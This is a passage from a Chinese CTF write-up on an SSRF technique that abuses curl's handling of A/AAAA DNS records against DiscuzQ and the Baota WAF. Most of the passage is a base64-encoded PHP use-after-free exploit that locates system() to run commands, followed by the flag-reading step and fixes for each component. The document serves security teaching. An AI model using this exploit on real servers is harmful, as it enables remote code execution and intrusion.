ICAgICAgICAkbGVhayA9IHJlYWQoJGFkZHIsIDcpOwogICAgICAgICMgRUxGIGhlYWRlcgogICAgICAgIGlmKCRsZWFrID09IDB4MTAxMDI0NjRjNDU3ZikKICAgICAgICAgICAgcmV0dXJuICRhZGRyOwogICAgfQogICAgIyBXZSdsbCBjcmFzaCBiZWZvcmUgdGhpcyBidXQgaXQncyBjbGVhcmVyIHRoaXMgd2F5CiAgICBkaWUoJ0V4cGxvaXQgZmFpbGVkOiBVbmFibGUgdG8gZmluZCBFTEYgaGVhZGVyJyk7Cn0KZnVuY3Rpb24gcGFyc2VfZWxmKCRiYXNlKQp7CiAgICAkZV90eXBlID0gcmVhZCgkYmFzZSArIDB4MTAsIDIpOwogICAgJGVfcGhvZmYgPSByZWFkKCRiYXNlICsgMHgyMCk7CiAgICAkZV9waGVudHNpemUgPSByZWFkKCRiYXNlICsgMHgzNiwgMik7CiAgICAkZV9waG51bSA9IHJlYWQoJGJhc2UgKyAweDM4LCAyKTsKICAgIGZvcigkaSA9IDA7ICRpIDwgJGVfcGhudW07ICRpKyspIHsKICAgICAgICAkaGVhZGVyID0gJGJhc2UgKyAkZV9waG9mZiArICRpICogJGVfcGhlbnRzaXplOwogICAgICAgICRwX3R5cGUgID0gcmVhZCgkaGVhZGVyICsgMHgwMCwgNCk7CiAgICAgICAgJHBfZmxhZ3MgPSByZWFkKCRoZWFkZXIgKyAweDA0LCA0KTsKICAgICAgICAkcF92YWRkciA9IHJlYWQoJGhlYWRlciArIDB4MTApOwogICAgICAgICRwX21lbXN6ID0gcmVhZCgkaGVhZGVyICsgMHgyOCk7CiAgICAgICAgaWYoJHBfdHlwZSA9PSAxICYmICRwX2ZsYWdzID09IDYpIHsgIyBQVF9MT0FELCBQRl9SZWFkX1dyaXRlCiAgICAgICAgICAgICMgaGFuZGxlIHBpZQogICAgICAgICAgICAkZGF0YV9hZGRyID0gJGVfdHlwZSA9PSAyID8gJHBfdmFkZHIgOiAkYmFzZSArICRwX3ZhZGRyOwogICAgICAgICAgICAkZGF0YV9zaXplID0gJHBfbWVtc3o7CiAgICAgICAgfSBlbHNlIGlmKCRwX3R5cGUgPT0gMSAmJiAkcF9mbGFncyA9PSA1KSB7ICMgUFRfTE9BRCwgUEZfUmVhZF9leGVjCiAgICAgICAgICAgICR0ZXh0X3NpemUgPSAkcF9tZW1zejsKICAgICAgICB9CiAgICB9CiAgICBpZighJGRhdGFfYWRkciB8fCAhJHRleHRfc2l6ZSB8fCAhJGRhdGFfc2l6ZSkKICAgICAgICBkaWUoJ0V4cGxvaXQgZmFpbGVkOiBVbmFibGUgdG8gcGFyc2UgRUxGJyk7CiAgICByZXR1cm4gWyRkYXRhX2FkZHIsICR0ZXh0X3NpemUsICRkYXRhX3NpemVdOwp9CmZ1bmN0aW9uIGdldF9iYXNpY19mdW5jcygkYmFzZSwgJGVsZikgewogICAgbGlzdCgkZGF0YV9hZGRyLCAkdGV4dF9zaXplLCAkZGF0YV9zaXplKSA9ICRlbGY7CiAgICBmb3IoJGkgPSAwOyAkaSA8ICRkYXRhX3NpemUgLyA4OyAkaSsrKSB7CiAgICAgICAgJGxlYWsgPSByZWFkKCRkYXRhX2FkZHIgKyAkaSAqIDgpOwogICAgICAgIGlmKCRsZWFrIC0gJGJhc2UgPiAwICYmICRsZWFrIDwgJGRhdGFfYWRkcikgewogICAgICAgICAgICAkZGVyZWYgPSByZWFkKCRsZWFrKTsKICAgICAgICAgICAgIyAnY29uc3RhbnQnIGNvbnN0YW50IGNoZWNrCiAgICAgICAgICAgIGlmKCRkZXJlZiAhPSAweDc0NmU2MTc0NzM2ZTZmNjMpCiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9IGVsc2UgY29udGludWU7CiAgICAgICAgJGxlYWsgPSByZWFkKCRkYXRhX2FkZHIgKyAoJGkgKyA0KSAqIDgpOwogICAgICAgIGlmKCRsZWFrIC0gJGJhc2UgPiAwICYmICRsZWFrIDwgJGRhdGFfYWRkcikgewogICAgICAgICAgICAkZGVyZWYgPSByZWFkKCRsZWFrKTsKICAgICAgICAgICAgIyAnYmluMmhleCcgY29uc3RhbnQgY2hlY2sKICAgICAgICAgICAgaWYoJGRlcmVmICE9IDB4Nzg2NTY4MzI2ZTY5NjIpCiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9IGVsc2UgY29udGludWU7CiAgICAgICAgcmV0dXJuICRkYXRhX2FkZHIgKyAkaSAqIDg7CiAgICB9Cn0KZnVuY3Rpb24gZ2V0X3N5c3RlbSgkYmFzaWNfZnVuY3MpCnsKICAgICRhZGRyID0gJGJhc2ljX2Z1bmNzOwogICAgZG8gewogICAgICAgICRmX2VudHJ5ID0gcmVhZCgkYWRkcik7CiAgICAgICAgJGZfbmFtZSA9IHJlYWQoJGZfZW50cnksIDYpOwogICAgICAgIGlmKCRmX25hbWUgPT0gMHg2ZDY1NzQ3Mzc5NzMpIHsgIyBzeXN0ZW0KICAgICAgICAgICAgcmV0dXJuIHJlYWQoJGFkZHIgKyA4KTsKICAgICAgICB9CiAgICAgICAgJGFkZHIgKz0gMHgyMDsKICAgIH0gd2hpbGUoJGZfZW50cnkgIT0gMCk7CiAgICByZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gZ2V0X3N5c3RlbV9hZGRyZXNzKCRiaW5hcnlfbGVhaykKewogICAgJGJhc2UgPSBnZXRfYmluYXJ5X2Jhc2UoJGJpbmFyeV9sZWFrKTsKICAgIHByaW50KCdFTEYgYmFzZTogMHgnIC5kZWNoZXgoJGJhc2UpIC4gIlxuIik7CiAgICAkZWxmID0gcGFyc2VfZWxmKCRiYXNlKTsKICAgICRiYXNpY19mdW5jcyA9IGdldF9iYXNpY19mdW5jcygkYmFzZSwgJGVsZik7CiAgICBwcmludCgnQmFzaWMgZnVuY3Rpb25zOiAweCcgLmRlY2hleCgkYmFzaWNfZnVuY3MpIC4gIlxuIik7CiAgICAkemlmX3N5c3RlbSA9IGdldF9zeXN0ZW0oJGJhc2ljX2Z1bmNzKTsKICAgIHJldHVybiAkemlmX3N5c3RlbTsKfQokZGxscyA9IFtdOwokc3RycyA9IFtdOwokcndfZGxsID0gbmV3IFNwbERvdWJseUxpbmtlZExpc3QoKTsKIyBDcmVhdGUgYSBjaGFpbiBvZiBkYW5nbGluZyB0cmlnZ2Vycywgd2hpY2ggd2lsbCBhbGwgaW4gdHVybgojIGZyZWUgY3VycmVudC0+bmV4dCwgcHVzaCBhbiBlbGVtZW50IHRvIHRoZSBuZXh0IGxpc3QsIGFuZCBmcmVlIGN1cnJlbnQKIyBUaGlzIHdpbGwgbWFrZSBzdXJlIHRoYXQgZXZlcnkgY3VycmVudC0+bmV4dCBwb2ludHMgdGhlIHNhbWUgbWVtb3J5IGJsb2NrLAojIHdoaWNoIHdlIHdpbGwgVUFGLgpmb3IoJGkgPSAwOyAkaSA8IE5CX0RBTkdMSU5HOyAkaSsrKQp7CiAgICAkZGxsc1skaV0gPSBuZXcgU3BsRG91Ymx5TGlua2VkTGlzdCgpOwogICAgJGRsbHNbJGldLT5wdXNoKG5ldyBEYW5nbGluZ1RyaWdnZXIoJGkpKTsKICAgICRkbGxzWyRpXS0+cmV3aW5kKCk7Cn0KIyBXZSB3YW50IG91ciBVQUYnZCBsaXN0IGVsZW1lbnQgdG8gYmUgYmVmb3JlIHR3byBzdHJpbmdzLCBzbyB0aGF0IHdlIGNhbgojIG9idGFpbiB0aGUgYWRkcmVzcyBvZiB0aGUgZmlyc3Qgc3RyaW5nLCBhbmQgaW5jcmVhc2UgaXMgc2l6ZS4gV2UgdGhlbiBoYXZlCiMgUi9XIG92ZXIgYWxsIG1lbW9yeSBhZnRlciB0aGUgb2J0YWluZWQgYWRkcmVzcy4KZGVmaW5lKCdOQl9TVFJTJywgNTApOwpmb3IoJGkgPSAwOyAkaSA8IE5CX1NUUlM7ICRpKyspCnsKICAgICRzdHJzW10gPSBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgU0laRV9FTEVNX1NUUikpOwogICAgaTJzKCRzdHJzWyRpXSwgMCwgU1RSX01BUktFUik7CiAgICBpMnMoJHN0cnNbJGldLCA4LCAkaSwgNyk7Cn0KIyBGcmVlIG9uZSBzdHJpbmcgaW4gdGhlIG1pZGRsZSwgLi4uCiRzdHJzW05CX1NUUlMgLSAyMF0gPSAxMjM7CiMgLi4uIGFuZCBwdXQgdGhlIHRvLWJlLVVBRidkIGxpc3QgZWxlbWVudCBpbnN0ZWFkLgokZGxsc1swXS0+cHVzaCgwKTsKIyBTZXR1cCB0aGUgbGFzdCBETGxpc3QsIHdoaWNoIHdpbGwgZXhwbG9pdCB0aGUgVUFGCiRkbGxzW05CX0RBTkdMSU5HXSA9IG5ldyBTcGxEb3VibHlMaW5rZWRMaXN0KCk7CiRkbGxzW05CX0RBTkdMSU5HXS0+cHVzaChuZXcgVUFGVHJpZ2dlcigpKTsKJGRsbHNbTkJfREFOR0xJTkddLT5yZXdpbmQoKTsKIyBUcmlnZ2VyIHRoZSBidWcgb24gdGhlIGZpcnN0IGxpc3QKJGRsbHNbMF0tPm9mZnNldFVuc2V0KDApOw==
最后发送上去,即可执行命令,这里为了方便将其中固定的 id 命令改为可变的 cmd 参数。
成功执行命令。
14.执行 /readflag 即可成功读取到 flag。
修复方式
- 对于 Curl:保持跳转之后解析以及访问行为一致,前面使用 A 记录访问的后面也应该使用 A 记录进行访问。
- 对于 DiscuzQ:基于业务场景对接口能访问的域名进行限制。
- 对于宝塔 WAF:写入前对路径做判断,同时想办法对 EOF 字符进行处理,不要受其影响。
总结
这种 SSRF 方式属于对 Blackcat 2020 上展示的利用 TLS 方法的升华,原方式由于 curl 等组件存在 DNS 缓存的原因,很多时候并不能利用成功。本文从另外一种角度进行阐述,利用网络请求时对存在 A 和 AAAA 记录的域名特殊的处理行为,将攻击者恶意构造的数据发送到目标上,从而达成攻击目的。
也希望各位选手在打 CTF 的时候也能多关注一些前沿的东西,对其作出自己的总结和思考,这样在这条路上才能走得更好更远。